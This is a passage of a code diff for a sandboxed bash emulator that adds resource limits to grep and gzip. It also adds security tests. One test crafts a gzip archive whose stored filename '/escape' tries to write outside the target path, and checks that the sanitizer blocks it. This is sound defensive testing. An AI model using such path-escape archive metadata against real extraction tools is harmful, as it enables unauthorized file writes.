     const excludeDirPatterns: string[] = [];
     let pattern: string | null = null;
     const files: string[] = [];
+    let parseOptions = true;
 
     // Parse arguments
     for (let i = 0; i < args.length; i++) {
       const arg = args[i];
 
-      if (arg.startsWith("-") && arg !== "-") {
+      if (parseOptions && arg === "--") {
+        parseOptions = false;
+        continue;
+      }
+
+      if (parseOptions && arg === "--help") {
+        return showHelp(grepHelp);
+      }
+
+      if (parseOptions && arg.startsWith("-") && arg !== "-") {
         if (arg === "-e" && i + 1 < args.length) {
           pattern = args[++i];
           continue;
@@ -241,6 +288,9 @@ export const grepCommand: Command = {
         maxCount,
         kResetGroup,
         preFilter,
+        maxWork: getMatcherWorkLimit(ctx),
+        maxMatches: ctx.limits.maxArrayElements,
+        signal: ctx.signal,
       });
       if (quietMode) {
         return { stdout: "", stderr: "", exitCode: result.matched ? 0 : 1 };
@@ -269,10 +319,29 @@ export const grepCommand: Command = {
     // Collect all files to search (expand globs first)
     // FileEntry includes type info when available to skip stat calls
     const filesToSearch: FileEntry[] = [];
+    const traversalBudget: GrepTraversalBudget = {
+      operations: 0,
+      results: 0,
+      maxOperations: ctx.limits.maxGlobOperations,
+      maxResults: ctx.limits.maxArrayElements,
+    };
+    const appendFiles = (entries: FileEntry[]): void => {
+      if (entries.length > traversalBudget.maxResults - filesToSearch.length) {
+        throw new ExecutionLimitError(
+          `grep: array element limit exceeded (${traversalBudget.maxResults})`,
+          "array_elements",
+        );
+      }
+      filesToSearch.push(...entries);
+    };
     for (const file of files) {
       // Check if this is a glob pattern
       if (file.includes("*") || file.includes("?") || file.includes("[")) {
-        const expanded = await expandGlobPatternWithTypes(file, ctx);
+        const expanded = await expandGlobPatternWithTypes(
+          file,
+          ctx,
+          traversalBudget,
+        );
         if (recursive) {
           for (const f of expanded) {
             const recursiveExpanded = await expandRecursiveWithTypes(
@@ -282,11 +351,12 @@ export const grepCommand: Command = {
               excludePatterns,
               excludeDirPatterns,
               f.isFile,
+              traversalBudget,
             );
-            filesToSearch.push(...recursiveExpanded);
+            appendFiles(recursiveExpanded);
           }
         } else {
-          filesToSearch.push(...expanded);
+          appendFiles(expanded);
         }
       } else if (recursive) {
         const expanded = await expandRecursiveWithTypes(
@@ -295,9 +365,17 @@ export const grepCommand: Command = {
           includePatterns,
           excludePatterns,
           excludeDirPatterns,
+          undefined,
+          traversalBudget,
         );
-        filesToSearch.push(...expanded);
+        appendFiles(expanded);
       } else {
+        if (filesToSearch.length >= traversalBudget.maxResults) {
+          throw new ExecutionLimitError(
+            `grep: array element limit exceeded (${traversalBudget.maxResults})`,
+            "array_elements",
+          );
+        }
         filesToSearch.push({ path: file });
       }
     }
@@ -395,10 +473,14 @@ export const grepCommand: Command = {
               maxCount,
               kResetGroup,
               preFilter,
+              maxWork: getMatcherWorkLimit(ctx),
+              maxMatches: ctx.limits.maxArrayElements,
+              signal: ctx.signal,
             });
 
             return { file, result };
-          } catch {
+          } catch (error) {
+            rethrowFatalExecutionError(error);
             return { error: `grep: ${file}: No such file or directory\n` };
           }
         }),
@@ -470,14 +552,16 @@ const MAX_GREP_DEPTH = 256;
 async function expandRecursiveGlob(
   baseDir: string,
   afterGlob: string,
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   result: string[],
+  budget: GrepTraversalBudget,
   depth = 0,
 ): Promise<void> {
   if (depth >= MAX_GREP_DEPTH) return;
   const fullBasePath = ctx.fs.resolvePath(ctx.cwd, baseDir);
 
   try {
+    useTraversalOperation(budget);
     const stat = await ctx.fs.stat(fullBasePath);
 
     if (!stat.isDirectory) {
@@ -486,6 +570,7 @@ async function expandRecursiveGlob(
       if (afterGlob) {
         const pattern = afterGlob.replace(/^\//, "");
         if (matchGlob(filename, pattern, { stripQuotes: true })) {
+          addTraversalResult(budget);
           result.push(baseDir);
         }
       }
@@ -493,24 +578,35 @@ async function expandRecursiveGlob(
     }
 
     // Check files in current directory
+    useTraversalOperation(budget);
     const entries = await ctx.fs.readdir(fullBasePath);
     for (const entry of entries) {
       const entryPath = baseDir === "." ? entry : `${baseDir}/${entry}`;
       const fullEntryPath = ctx.fs.resolvePath(ctx.cwd, entryPath);
+      useTraversalOperation(budget);
       const entryStat = await ctx.fs.stat(fullEntryPath);
 
       if (entryStat.isDirectory) {
         // Recurse into directory
-        await expandRecursiveGlob(entryPath, afterGlob, ctx, result, depth + 1);
+        await expandRecursiveGlob(
+          entryPath,
+          afterGlob,
+          ctx,
+          result,
+          budget,
+          depth + 1,
+        );
       } else if (afterGlob) {
         // Check if file matches afterGlob pattern
         const pattern = afterGlob.replace(/^\//, "");
         if (matchGlob(entry, pattern, { stripQuotes: true })) {
+          addTraversalResult(budget);
           result.push(entryPath);
         }
       }
     }
-  } catch {
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     // Ignore errors
   }
 }
@@ -521,7 +617,8 @@ async function expandRecursiveGlob(
  */
 async function expandGlobPatternWithTypes(
   pattern: string,
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
+  budget: GrepTraversalBudget,
 ): Promise<FileEntry[]> {
   const result: FileEntry[] = [];
 
@@ -544,7 +641,7 @@ async function expandGlobPatternWithTypes(
     const parts = pattern.split("**");
     const baseDir = parts[0].replace(/\/$/, "") || ".";
     const afterGlob = parts[1] || "";
-    await expandRecursiveGlob(baseDir, afterGlob, ctx, oldResult);
+    await expandRecursiveGlob(baseDir, afterGlob, ctx, oldResult, budget);
     return oldResult.map((p) => ({ path: p }));
   }
 
@@ -554,11 +651,14 @@ async function expandGlobPatternWithTypes(
   try {
     // Use readdirWithFileTypes if available for better performance
     if (ctx.fs.readdirWithFileTypes) {
+      useTraversalOperation(budget);
       const entries = await ctx.fs.readdirWithFileTypes(fullDirPath);
       for (const entry of entries) {
+        useTraversalOperation(budget);
         if (matchGlob(entry.name, globPart, { stripQuotes: true })) {
           const fullPath =
             lastSlash === -1 ? entry.name : `${dirPath}/${entry.name}`;
+          addTraversalResult(budget);
           result.push({
             path: fullPath,
             isFile: entry.isFile,
@@ -567,15 +667,19 @@ async function expandGlobPatternWithTypes(
       }
     } else {
       // Fall back to regular readdir
+      useTraversalOperation(budget);
       const entries = await ctx.fs.readdir(fullDirPath);
       for (const entry of entries) {
+        useTraversalOperation(budget);
         if (matchGlob(entry, globPart, { stripQuotes: true })) {
           const fullPath = lastSlash === -1 ? entry : `${dirPath}/${entry}`;
+          addTraversalResult(budget);
           result.push({ path: fullPath });
         }
       }
     }
-  } catch {
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     // Directory doesn't exist - return empty
   }
 
@@ -588,16 +692,22 @@ async function expandGlobPatternWithTypes(
  */
 async function expandRecursiveWithTypes(
   path: string,
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   includePatterns: string[] = [],
   excludePatterns: string[] = [],
   excludeDirPatterns: string[] = [],
   knownIsFile?: boolean,
+  budget: GrepTraversalBudget = {
+    operations: 0,
+    results: 0,
+    maxOperations: ctx.limits.maxGlobOperations,
+    maxResults: ctx.limits.maxArrayElements,
+  },
+  result: FileEntry[] = [],
   depth = 0,
 ): Promise<FileEntry[]> {
-  if (depth >= MAX_GREP_DEPTH) return [];
+  if (depth >= MAX_GREP_DEPTH) return result;
   const fullPath = ctx.fs.resolvePath(ctx.cwd, path);
-  const result: FileEntry[] = [];
 
   try {
     // Determine if it's a file or directory
@@ -608,6 +718,7 @@ async function expandRecursiveWithTypes(
       isFile = knownIsFile;
       isDirectory = !knownIsFile;
     } else {
+      useTraversalOperation(budget);
       const stat = await ctx.fs.stat(fullPath);
       isFile = stat.isFile;
       isDirectory = stat.isDirectory;
@@ -623,7 +734,7 @@ async function expandRecursiveWithTypes(
             matchGlob(basename, p, { stripQuotes: true }),
           )
         ) {
-          return [];
+          return result;
         }
       }
 
@@ -634,14 +745,16 @@ async function expandRecursiveWithTypes(
             matchGlob(basename, p, { stripQuotes: true }),
           )
         ) {
-          return [];
+          return result;
         }
       }
-      return [{ path, isFile: true }];
+      addTraversalResult(budget);
+      result.push({ path, isFile: true });
+      return result;
     }
 
     if (!isDirectory) {
-      return [];
+      return result;
     }
 
     // Check if directory should be excluded
@@ -652,47 +765,54 @@ async function expandRecursiveWithTypes(
           matchGlob(dirName, p, { stripQuotes: true }),
         )
       ) {
-        return [];
+        return result;
       }
     }
 
     // Use readdirWithFileTypes if available
     if (ctx.fs.readdirWithFileTypes) {
+      useTraversalOperation(budget);
       const entries = await ctx.fs.readdirWithFileTypes(fullPath);
       for (const entry of entries) {
+        useTraversalOperation(budget);
         if (entry.name.startsWith(".")) continue; // Skip hidden files
 
         const entryPath = path === "." ? entry.name : `${path}/${entry.name}`;
-        const expanded = await expandRecursiveWithTypes(
+        await expandRecursiveWithTypes(
           entryPath,
           ctx,
           includePatterns,
           excludePatterns,
           excludeDirPatterns,
           entry.isFile,
+          budget,
+          result,
           depth + 1,
         );
-        result.push(...expanded);
       }
     } else {
+      useTraversalOperation(budget);
       const entries = await ctx.fs.readdir(fullPath);
       for (const entry of entries) {
+        useTraversalOperation(budget);
         if (entry.startsWith(".")) continue; // Skip hidden files
 
         const entryPath = path === "." ? entry : `${path}/${entry}`;
-        const expanded = await expandRecursiveWithTypes(
+        await expandRecursiveWithTypes(
           entryPath,
           ctx,
           includePatterns,
           excludePatterns,
           excludeDirPatterns,
           undefined,
+          budget,
+          result,
           depth + 1,
         );
-        result.push(...expanded);
       }
     }
-  } catch {
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     // Ignore errors
   }
 
@@ -700,20 +820,26 @@ async function expandRecursiveWithTypes(
 }
 
 // fgrep is equivalent to grep -F
-export const fgrepCommand: Command = {
+export const fgrepCommand: RuntimeCommand = {
   name: "fgrep",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     // Insert -F at the beginning of args
     return grepCommand.execute(["-F", ...args], ctx);
   },
 };
 
 // egrep is equivalent to grep -E
-export const egrepCommand: Command = {
+export const egrepCommand: RuntimeCommand = {
   name: "egrep",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     // Insert -E at the beginning of args
     return grepCommand.execute(["-E", ...args], ctx);
   },
diff --git a/packages/just-bash/src/commands/gzip/gzip.security.test.ts b/packages/just-bash/src/commands/gzip/gzip.security.test.ts
index 8d0c5c92..688a26e2 100644
--- a/packages/just-bash/src/commands/gzip/gzip.security.test.ts
+++ b/packages/just-bash/src/commands/gzip/gzip.security.test.ts
@@ -1,7 +1,29 @@
+import { gzipSync } from "node:zlib";
 import { describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
 
 describe("gzip security hardening", () => {
+  it("does not treat a stored gzip filename as an output path", async () => {
+    const env = new Bash();
+    const compressed = gzipSync("safe payload");
+    const header = Buffer.from(compressed.subarray(0, 10));
+    header[3] |= 0x08; // FNAME
+    const hostile = Buffer.concat([
+      header,
+      Buffer.from("/escape\0", "latin1"),
+      compressed.subarray(10),
+    ]);
+    await env.fs.writeFile("/archive.gz", hostile);
+
+    const result = await env.exec("gunzip -N /archive.gz");
+
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+    expect(await env.readFile("/archive")).toBe("safe payload");
+    expect(await env.fs.exists("/escape")).toBe(false);
+  });
+
   it("handles large gunzip -c output without stack overflow", async () => {
     const env = new Bash();
     const bigContent = "A".repeat(200000);
@@ -57,4 +79,19 @@ describe("gzip security hardening", () => {
     );
     expect(result.exitCode).toBe(1);
   });
+
+  it("reserves a file read before allocating it under a tiny live-byte limit", async () => {
+    const env = new Bash({
+      files: { "/payload": "x".repeat(65) },
+      executionLimits: { maxInputBytes: 1_000, maxLiveBytes: 64 },
+    });
+
+    const result = await env.exec("gzip -c /payload");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toMatch(
+      /gzip: live byte limit exceeded \(64 bytes\)/,
+    );
+  });
 });
diff --git a/packages/just-bash/src/commands/gzip/gzip.ts b/packages/just-bash/src/commands/gzip/gzip.ts
index 522f2a78..b47eeeef 100644
--- a/packages/just-bash/src/commands/gzip/gzip.ts
+++ b/packages/just-bash/src/commands/gzip/gzip.ts
@@ -5,9 +5,19 @@
  */
 
 import { constants, gunzipSync, gzipSync } from "node:zlib";
+import { BoundedStringBuilder } from "../../bounded-builder.js";
 import { latin1FromBytes } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type { ResourceLease } from "../../execution-scope.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { traverseFileTree } from "../../fs/traversal.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
+import { CodecBudget } from "../compression/codec-budget.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const gzipHelp = {
@@ -217,6 +227,25 @@ function parseGzipHeader(data: Uint8Array): {
   };
 }
 
+/**
+ * Gzip FNAME is attacker-controlled metadata, not a path. Only an immediate
+ * filename component may influence the extraction target. Unsafe names fall
+ * back to the input archive's filename.
+ */
+function safeStoredFilename(name: string): string | null {
+  if (
+    name.length === 0 ||
+    name === "." ||
+    name === ".." ||
+    name.includes("/") ||
+    name.includes("\\") ||
+    /[\0-\x1f\x7f]/.test(name)
+  ) {
+    return null;
+  }
+  return name;
+}
+
 /**
  * Get the uncompressed size from gzip trailer (last 4 bytes)
  */
@@ -242,28 +271,160 @@ function toBinaryString(data: Uint8Array): string {
   return Buffer.from(data).toString("latin1");
 }
 
-function getMaxDecompressedSize(ctx: CommandContext): number {
-  return ctx.limits?.maxOutputSize ?? 0;
+function getMaxDecompressedSize(ctx: RuntimeCommandContext): number {
+  return ctx.limits.maxOutputSize;
 }
 
 function gunzipWithLimit(
   inputData: Uint8Array,
   maxDecompressedSize: number,
-): Uint8Array {
-  if (maxDecompressedSize > 0) {
-    // Fast pre-check from gzip trailer (ISIZE) to fail before inflate when possible.
-    const advertisedSize = getUncompressedSize(inputData);
-    if (advertisedSize > maxDecompressedSize) {
-      throw new Error(
-        `decompressed data exceeds limit (${maxDecompressedSize} bytes)`,
-      );
+  maxCompressedSize: number,
+  signal?: AbortSignal,
+  ctx?: RuntimeCommandContext,
+): { data: Uint8Array; lease?: ResourceLease } {
+  if (maxDecompressedSize <= 0) {
+    throw new Error("decompressed data exceeds limit (0 bytes)");
+  }
+
+  const budget = new CodecBudget({
+    maxInputBytes: maxCompressedSize,
+    maxOutputBytes: maxDecompressedSize,
+    maxExpansionRatio: 10_000,
+    signal,
+    label: "gzip",
+  });
+  budget.acceptInput(inputData.length);
+  // Fast pre-check from gzip trailer (ISIZE) to fail before inflate when possible.
+  const advertisedSize = getUncompressedSize(inputData);
+  if (advertisedSize > maxDecompressedSize) {
+    throw new Error(
+      `decompressed data exceeds limit (${maxDecompressedSize} bytes)`,
+    );
+  }
+  let outputLease: ResourceLease | undefined;
+  try {
+    const effectiveMaxOutput = Math.min(
+      maxDecompressedSize,
+      Math.floor(
+        (ctx?.executionScope?.remainingLiveBytes ?? maxDecompressedSize * 2) /
+          2,
+      ),
+    );
+    if (effectiveMaxOutput <= 0) {
+      throw new Error("gzip: live byte limit exceeded");
+    }
+    // Reserve both the returned byte buffer and a possible latin1 stdout
+    // representation before asking the whole-buffer codec to allocate.
+    outputLease = ctx?.executionScope?.reserveBytes(
+      "gzip output",
+      effectiveMaxOutput * 2,
+      "gzip",
+    );
+    // @banned-pattern-ignore: CodecBudget, prospective reservation, and zlib maxOutputLength bound allocation before decode
+    const result = gunzipSync(inputData, {
+      maxOutputLength: effectiveMaxOutput,
+    });
+    budget.acceptOutput(result.length);
+    return { data: result, lease: outputLease };
+  } catch (error) {
+    outputLease?.release();
+    throw error;
+  }
+}
+
+function gzipWithLimit(
+  inputData: Uint8Array,
+  level: number,
+  ctx: RuntimeCommandContext,
+): { data: Uint8Array; lease?: ResourceLease } {
+  const budget = new CodecBudget({
+    maxInputBytes: ctx.limits.maxInputBytes,
+    maxOutputBytes: ctx.limits.maxOutputSize,
+    signal: ctx.signal,
+    label: "gzip",
+  });
+  budget.acceptInput(inputData.length);
+  let outputLease: ResourceLease | undefined;
+  try {
+    const effectiveMaxOutput = Math.min(
+      ctx.limits.maxOutputSize,
+      Math.floor(
+        (ctx.executionScope?.remainingLiveBytes ??
+          ctx.limits.maxOutputSize * 2) / 2,
+      ),
+    );
+    if (effectiveMaxOutput <= 0) {
+      throw new Error("gzip: live byte limit exceeded");
     }
-    return gunzipSync(inputData, {
-      maxOutputLength: maxDecompressedSize,
+    outputLease = ctx.executionScope?.reserveBytes(
+      "gzip output",
+      effectiveMaxOutput * 2,
+      "gzip",
+    );
+    const result = gzipSync(inputData, {
+      level,
+      maxOutputLength: effectiveMaxOutput,
     });
+    budget.acceptOutput(result.length);
+    return { data: result, lease: outputLease };
+  } catch (error) {
+    outputLease?.release();
+    throw error;
+  }
+}
+
+async function readReservedFile(
+  ctx: RuntimeCommandContext,
+  path: string,
+  site: string,
+): Promise<{ data: Uint8Array; lease?: ResourceLease }> {
+  const stat = await ctx.fs.stat(path);
+  if (stat.size > ctx.limits.maxInputBytes) {
+    throw new ExecutionLimitError(
+      `input size limit exceeded (${ctx.limits.maxInputBytes} bytes)`,
+      "string_length",
+    );
+  }
+  const lease = ctx.executionScope?.reserveBytes("gzip input", stat.size, site);
+  try {
+    const data = await ctx.fs.readFileBuffer(path);
+    if (data.byteLength > stat.size) {
+      throw new ExecutionLimitError(
+        "gzip: input grew while being read",
+        "string_length",
+      );
+    }
+    ctx.executionScope?.consumeInput(data.byteLength, site);
+    return { data, lease };
+  } catch (error) {
+    lease?.release();
+    throw error;
   }
+}
 
-  return gunzipSync(inputData);
+async function readReservedOperand(
+  ctx: RuntimeCommandContext,
+  file: string,
+  site: string,
+): Promise<{ data: Uint8Array; lease?: ResourceLease }> {
+  if (file !== "-" && file !== "") {
+    return readReservedFile(ctx, ctx.fs.resolvePath(ctx.cwd, file), site);
+  }
+  const stdinBytes = latin1FromBytes(ctx.stdin);
+  const lease = ctx.executionScope?.reserveBytes(
+    "gzip input",
+    stdinBytes.length,
+    site,
+  );
+  try {
+    return {
+      data: Uint8Array.from(stdinBytes, (char) => char.charCodeAt(0)),
+      lease,
+    };
+  } catch (error) {
+    lease?.release();
+    throw error;
+  }
 }
 
 interface GzipResult {
@@ -273,7 +434,7 @@ interface GzipResult {
 }
 
 async function processFile(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   file: string,
   flags: GzipFlags,
   cmdName: string,
@@ -288,47 +449,65 @@ async function processFile(
 
   // Handle stdin
   if (file === "-" || file === "") {
-    inputData = Uint8Array.from(latin1FromBytes(ctx.stdin), (c) =>
-      c.charCodeAt(0),
+    const stdinBytes = latin1FromBytes(ctx.stdin);
+    const inputLease = ctx.executionScope?.reserveBytes(
+      "gzip input",
+      stdinBytes.length,
+      cmdName,
     );
-    if (decompress) {
-      if (!isGzip(inputData)) {
-        if (!flags.quiet) {
+    let codecLease: ResourceLease | undefined;
+    try {
+      inputData = Uint8Array.from(stdinBytes, (c) => c.charCodeAt(0));
+      if (decompress) {
+        if (!isGzip(inputData)) {
+          if (!flags.quiet) {
+            return {
+              stdout: "",
+              stderr: `${cmdName}: stdin: not in gzip format\n`,
+              exitCode: 1,
+            };
+          }
+          return { stdout: "", stderr: "", exitCode: 1 };
+        }
+        try {
+          const decoded = gunzipWithLimit(
+            inputData,
+            maxDecompressedSize,
+            ctx.limits.maxInputBytes,
+            ctx.signal,
+            ctx,
+          );
+          codecLease = decoded.lease;
+          return {
+            stdout: toBinaryString(decoded.data),
+            stderr: "",
+            exitCode: 0,
+          };
+        } catch (e) {
+          rethrowFatalExecutionError(e);
+          const msg = e instanceof Error ? e.message : "unknown error";
           return {
             stdout: "",
-            stderr: `${cmdName}: stdin: not in gzip format\n`,
+            stderr: `${cmdName}: stdin: ${msg}\n`,
             exitCode: 1,
           };
         }
-        return { stdout: "", stderr: "", exitCode: 1 };
-      }
-      try {
-        const decompressed = gunzipWithLimit(inputData, maxDecompressedSize);
-        // Use binary string (latin1) to preserve bytes
+      } else {
+        const encoded = gzipWithLimit(
+          inputData,
+          getCompressionLevel(flags),
+          ctx,
+        );
+        codecLease = encoded.lease;
         return {
-          stdout: toBinaryString(decompressed),
+          stdout: toBinaryString(encoded.data),
           stderr: "",
           exitCode: 0,
         };
-      } catch (e) {
-        const msg = e instanceof Error ? e.message : "unknown error";
-        return {
-          stdout: "",
-          stderr: `${cmdName}: stdin: ${msg}\n`,
-          exitCode: 1,
-        };
       }
-    } else {
-      // Compress stdin
-      const level = getCompressionLevel(flags);
-      const compressed = gzipSync(inputData, { level });
-      // Output raw bytes as binary - this is tricky since stdout is string
-      // We'll use latin1 encoding to preserve bytes
-      return {
-        stdout: toBinaryString(compressed),
-        stderr: "",
-        exitCode: 0,
-      };
+    } finally {
+      codecLease?.release();
+      inputLease?.release();
     }
   }
 
@@ -338,6 +517,13 @@ async function processFile(
   // Check if file exists
   try {
     const stat = await ctx.fs.stat(inputPath);
+    if (stat.size > ctx.limits.maxInputBytes) {
+      return {
+        stdout: "",
+        stderr: `${cmdName}: ${file}: input size limit exceeded (${ctx.limits.maxInputBytes} bytes)\n`,
+        exitCode: 1,
+      };
+    }
     if (stat.isDirectory) {
       if (flags.recursive) {
         // Process directory recursively
@@ -368,9 +554,14 @@ async function processFile(
   }
 
   // Read input file
+  let inputLease: ResourceLease | undefined;
+  let codecLease: ResourceLease | undefined;
   try {
-    inputData = await ctx.fs.readFileBuffer(inputPath);
-  } catch {
+    const reserved = await readReservedFile(ctx, inputPath, cmdName);
+    inputData = reserved.data;
+    inputLease = reserved.lease;
+  } catch (error) {
+    rethrowFatalExecutionError(error);
     return {
       stdout: "",
       stderr: `${cmdName}: ${file}: No such file or directory\n`,
@@ -378,213 +569,233 @@ async function processFile(
     };
   }
 
-  if (decompress) {
-    // Decompression
-    if (!file.endsWith(suffix)) {
-      if (!flags.quiet) {
+  try {
+    if (decompress) {
+      // Decompression
+      if (!file.endsWith(suffix)) {
+        if (!flags.quiet) {
+          return {
+            stdout: "",
+            stderr: `${cmdName}: ${file}: unknown suffix -- ignored\n`,
+            exitCode: 1,
+          };
+        }
+        return { stdout: "", stderr: "", exitCode: 1 };
+      }
+
+      if (!isGzip(inputData)) {
+        if (!flags.quiet) {
+          return {
+            stdout: "",
+            stderr: `${cmdName}: ${file}: not in gzip format\n`,
+            exitCode: 1,
+          };
+        }
+        return { stdout: "", stderr: "", exitCode: 1 };
+      }
+
+      let decompressed: Uint8Array;
+      try {
+        const decoded = gunzipWithLimit(
+          inputData,
+          maxDecompressedSize,
+          ctx.limits.maxInputBytes,
+          ctx.signal,
+          ctx,
+        );
+        decompressed = decoded.data;
+        codecLease = decoded.lease;
+      } catch (e) {
+        rethrowFatalExecutionError(e);
+        const msg = e instanceof Error ? e.message : "unknown error";
         return {
           stdout: "",
-          stderr: `${cmdName}: ${file}: unknown suffix -- ignored\n`,
+          stderr: `${cmdName}: ${file}: ${msg}\n`,
           exitCode: 1,
         };
       }
-      return { stdout: "", stderr: "", exitCode: 1 };
-    }
 
-    if (!isGzip(inputData)) {
-      if (!flags.quiet) {
+      if (toStdout) {
+        // Output to stdout using binary string (latin1) to preserve bytes
         return {
-          stdout: "",
-          stderr: `${cmdName}: ${file}: not in gzip format\n`,
-          exitCode: 1,
+          stdout: toBinaryString(decompressed),
+          stderr: "",
+          exitCode: 0,
         };
       }
-      return { stdout: "", stderr: "", exitCode: 1 };
-    }
 
-    let decompressed: Uint8Array;
-    try {
-      decompressed = gunzipWithLimit(inputData, maxDecompressedSize);
-    } catch (e) {
-      const msg = e instanceof Error ? e.message : "unknown error";
-      return {
-        stdout: "",
-        stderr: `${cmdName}: ${file}: ${msg}\n`,
-        exitCode: 1,
-      };
-    }
-
-    if (toStdout) {
-      // Output to stdout using binary string (latin1) to preserve bytes
-      return {
-        stdout: toBinaryString(decompressed),
-        stderr: "",
-        exitCode: 0,
-      };
-    }
-
-    // Determine output filename
-    if (flags.name) {
-      const header = parseGzipHeader(inputData);
-      if (header.originalName) {
-        outputPath = ctx.fs.resolvePath(ctx.cwd, header.originalName);
+      // Determine output filename
+      if (flags.name) {
+        const header = parseGzipHeader(inputData);
+        const storedName = header.originalName
+          ? safeStoredFilename(header.originalName)
+          : null;
+        if (storedName) {
+          outputPath = ctx.fs.resolvePath(ctx.cwd, storedName);
+        } else {
+          outputPath = inputPath.slice(0, -suffix.length);
+        }
       } else {
         outputPath = inputPath.slice(0, -suffix.length);
       }
-    } else {
-      outputPath = inputPath.slice(0, -suffix.length);
-    }
 
-    // Check if output exists
-    if (!flags.force) {
-      try {
-        await ctx.fs.stat(outputPath);
+      // Check if output exists
+      if (!flags.force) {
+        try {
+          await ctx.fs.stat(outputPath);
+          return {
+            stdout: "",
+            stderr: `${cmdName}: ${outputPath} already exists; not overwritten\n`,
+            exitCode: 1,
+          };
+        } catch {
+          // File doesn't exist, good to proceed
+        }
+      }
+
+      // Write decompressed file
+      await ctx.fs.writeFile(outputPath, decompressed);
+
+      // Remove original unless -k
+      if (!flags.keep && !toStdout) {
+        await ctx.fs.rm(inputPath);
+      }
+
+      if (flags.verbose) {
+        const ratio =
+          inputData.length > 0
+            ? ((1 - inputData.length / decompressed.length) * 100).toFixed(1)
+            : "0.0";
         return {
           stdout: "",
-          stderr: `${cmdName}: ${outputPath} already exists; not overwritten\n`,
-          exitCode: 1,
+          stderr: `${file}:\t${ratio}% -- replaced with ${outputPath.split("/").pop()}\n`,
+          exitCode: 0,
         };
-      } catch {
-        // File doesn't exist, good to proceed
       }
-    }
-
-    // Write decompressed file
-    await ctx.fs.writeFile(outputPath, decompressed);
 
-    // Remove original unless -k
-    if (!flags.keep && !toStdout) {
-      await ctx.fs.rm(inputPath);
-    }
+      return { stdout: "", stderr: "", exitCode: 0 };
+    } else {
+      // Compression
+      if (file.endsWith(suffix)) {
+        if (!flags.quiet) {
+          return {
+            stdout: "",
+            stderr: `${cmdName}: ${file} already has ${suffix} suffix -- unchanged\n`,
+            exitCode: 1,
+          };
+        }
+        return { stdout: "", stderr: "", exitCode: 1 };
+      }
 
-    if (flags.verbose) {
-      const ratio =
-        inputData.length > 0
-          ? ((1 - inputData.length / decompressed.length) * 100).toFixed(1)
-          : "0.0";
-      return {
-        stdout: "",
-        stderr: `${file}:\t${ratio}% -- replaced with ${outputPath.split("/").pop()}\n`,
-        exitCode: 0,
-      };
-    }
+      const level = getCompressionLevel(flags);
+      let compressed: Uint8Array;
 
-    return { stdout: "", stderr: "", exitCode: 0 };
-  } else {
-    // Compression
-    if (file.endsWith(suffix)) {
-      if (!flags.quiet) {
+      try {
+        const encoded = gzipWithLimit(inputData, level, ctx);
+        compressed = encoded.data;
+        codecLease = encoded.lease;
+      } catch (e) {
+        rethrowFatalExecutionError(e);
+        const msg = e instanceof Error ? e.message : "unknown error";
         return {
           stdout: "",
-          stderr: `${cmdName}: ${file} already has ${suffix} suffix -- unchanged\n`,
+          stderr: `${cmdName}: ${file}: ${msg}\n`,
           exitCode: 1,
         };
       }
-      return { stdout: "", stderr: "", exitCode: 1 };
-    }
 
-    const level = getCompressionLevel(flags);
-    let compressed: Uint8Array;
+      if (toStdout) {
+        // Output to stdout as binary
+        return {
+          stdout: toBinaryString(compressed),
+          stderr: "",
+          exitCode: 0,
+        };
+      }
 
-    try {
-      compressed = gzipSync(inputData, { level });
-    } catch (e) {
-      const msg = e instanceof Error ? e.message : "unknown error";
-      return {
-        stdout: "",
-        stderr: `${cmdName}: ${file}: ${msg}\n`,
-        exitCode: 1,
-      };
-    }
+      outputPath = inputPath + suffix;
 
-    if (toStdout) {
-      // Output to stdout as binary
-      return {
-        stdout: toBinaryString(compressed),
-        stderr: "",
-        exitCode: 0,
-      };
-    }
+      // Check if output exists
+      if (!flags.force) {
+        try {
+          await ctx.fs.stat(outputPath);
+          return {
+            stdout: "",
+            stderr: `${cmdName}: ${outputPath} already exists; not overwritten\n`,
+            exitCode: 1,
+          };
+        } catch {
+          // File doesn't exist, good to proceed
+        }
+      }
 
-    outputPath = inputPath + suffix;
+      // Write compressed file
+      await ctx.fs.writeFile(outputPath, compressed);
 
-    // Check if output exists
-    if (!flags.force) {
-      try {
-        await ctx.fs.stat(outputPath);
+      // Remove original unless -k
+      if (!flags.keep && !toStdout) {
+        await ctx.fs.rm(inputPath);
+      }
+
+      if (flags.verbose) {
+        const ratio =
+          inputData.length > 0
+            ? ((1 - compressed.length / inputData.length) * 100).toFixed(1)
+            : "0.0";
         return {
           stdout: "",
-          stderr: `${cmdName}: ${outputPath} already exists; not overwritten\n`,
-          exitCode: 1,
+          stderr: `${file}:\t${ratio}% -- replaced with ${outputPath.split("/").pop()}\n`,
+          exitCode: 0,
         };
-      } catch {
-        // File doesn't exist, good to proceed
       }
-    }
 
-    // Write compressed file
-    await ctx.fs.writeFile(outputPath, compressed);
-
-    // Remove original unless -k
-    if (!flags.keep && !toStdout) {
-      await ctx.fs.rm(inputPath);
+      return { stdout: "", stderr: "", exitCode: 0 };
     }
-
-    if (flags.verbose) {
-      const ratio =
-        inputData.length > 0
-          ? ((1 - compressed.length / inputData.length) * 100).toFixed(1)
-          : "0.0";
-      return {
-        stdout: "",
-        stderr: `${file}:\t${ratio}% -- replaced with ${outputPath.split("/").pop()}\n`,
-        exitCode: 0,
-      };
-    }
-
